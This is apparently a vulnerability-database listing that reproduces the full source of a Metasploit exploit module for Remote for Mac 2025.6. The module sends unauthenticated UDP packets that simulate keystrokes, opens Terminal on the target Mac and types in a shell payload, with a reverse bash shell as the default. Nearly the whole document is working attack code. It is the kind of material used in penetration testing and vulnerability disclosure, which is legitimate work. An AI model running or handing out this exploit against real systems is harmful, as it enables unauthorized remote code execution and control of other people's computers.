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Remote for Mac 2025.6 Unauthenticated UDP Keyboard RCE

🗓️ 28 Aug 2025 18:53:58Reported by Chokri HammediType 
metasploit
 metasploit
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Unauthenticated UDP keyboard RCE in Remote for Mac 2025.6 enables Terminal access and commands.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Udp
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Remote for Mac 2025.6 Unauthenticated UDP Keyboard RCE',
        'Description' => %q{
          This module exploits an unauthenticated remote code execution vulnerability in Remote for Mac 2025.6.
          When the "Allow unknown devices" setting is enabled, it is possible to simulate keyboard input via UDP packets
          without authentication. By sending a sequence of key presses, an attacker can open the Terminal and execute
          arbitrary shell commands, achieving code execution as the current user.
        },
        'Author' => ['Chokri Hammedi'],
        'License' => MSF_LICENSE,
        'References' => [
          ['PACKETSTORM', '196351']
        ],
        'Platform' => 'unix',
        'Targets' => [
          [
            'Unix Shell', {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/reverse_bash',
          'SSL' => true
        },
        'DisclosureDate' => '2025-05-27',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS]
        }
      )
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'getVersion')
    })

    return CheckCode::Safe('Application might not be Remote For Mac') unless res&.code == 200

    json_body = res.get_json_document
    auth_enabled = json_body.fetch('requires.auth', nil)

    return CheckCode::Detected('Remote For Mac detected, but authentication enabled') unless auth_enabled.to_s == 'false'

    version = json_body.fetch('version').to_s

    return CheckCode::Unknown('Could not determine target version') if version.empty?

    target_version = Rex::Version.new(version)
    vulnerable_version = Rex::Version.new('2025.7')

    return CheckCode::Appears("Detected vulnerable version #{version} with authentication disabled") if target_version <= vulnerable_version

    CheckCode::Safe("Target version #{version} is not vulnerable")
  end

  def exploit
    initial_packets_hex = [
      '07000200370001',
      '07000200370001',
      '060003002000',
      '07000200370000',
      '07000200370000'
    ]

    final_packets_hex = [
      '07000200240001',
      '07000200240000'
    ]

    udp_sock = connect_udp

    print_status('Simulating system keyboard input to open Terminal...')
    initial_packets_hex.each do |hexpkt|
      udp_sock.put([hexpkt].pack('H*'))
      select(nil, nil, nil, 0.05)
    end

    prefix = [0x06, 0x00, 0x03, 0x00].pack('C*')
    'terminal'.each_char do |ch|
      pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT')
      udp_sock.put(pkt)
      select(nil, nil, nil, 0.1)
    end

    final_packets_hex.each do |hexpkt|
      udp_sock.put([hexpkt].pack('H*'))
    end

    print_status('Initial sequence finished, waiting for terminal to be spawned..')

    sleep(2)

    shell_cmd = payload.encoded
    print_status('Sending malicious payload to be executed...')

    shell_cmd.each_char do |ch|
      pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT')
      udp_sock.put(pkt)
      select(nil, nil, nil, 0.1)
    end

    final_packets_hex.each do |hexpkt|
      udp_sock.put([hexpkt].pack('H*'))
    end

    print_good('Payload sent. Awaiting session...')
    disconnect_udp(udp_sock)
  end
end

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